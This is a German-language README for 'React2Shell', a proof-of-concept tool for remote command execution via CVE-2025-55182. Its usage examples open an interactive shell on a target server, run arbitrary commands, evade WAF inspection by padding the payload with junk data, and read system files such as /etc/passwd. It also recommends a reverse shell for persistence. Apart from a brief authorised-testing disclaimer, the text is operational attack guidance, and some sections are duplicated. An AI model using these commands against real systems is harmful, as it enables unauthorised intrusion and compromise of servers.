React2Shell

CVE-2025-55182 PoC

Verwendung

# Interactive shell
./react2shell -u http://target:3000

# Single command
./react2shell -u http://target:3000 -c "id"

# WAF bypass (128KB junk data)
./react2shell -u http://target:3000 -waf 128

Erstellen

go build -o react2shell .

Optionen

Hinweise

• Jeder Befehl wird in einer neuen Shell-Sitzung ausgeführt
• Verwenden Sie ; oder &&, um Befehle zu verketten: cd /etc && cat passwd
• Der WAF-Bypass fügt vor dem Payload Junk-Daten hinzu, um die Inhaltsprüfung zu umgehen

Haftungsausschluss

Nur für autorisierte Sicherheitstests.

• Verwenden Sie ; oder &&, um Befehle zu verketten: cd /etc && cat passwd
• Verwenden Sie für eine persistente Shell eine Reverse-Shell

Haftungsausschluss

Nur für autorisierte Sicherheitstests.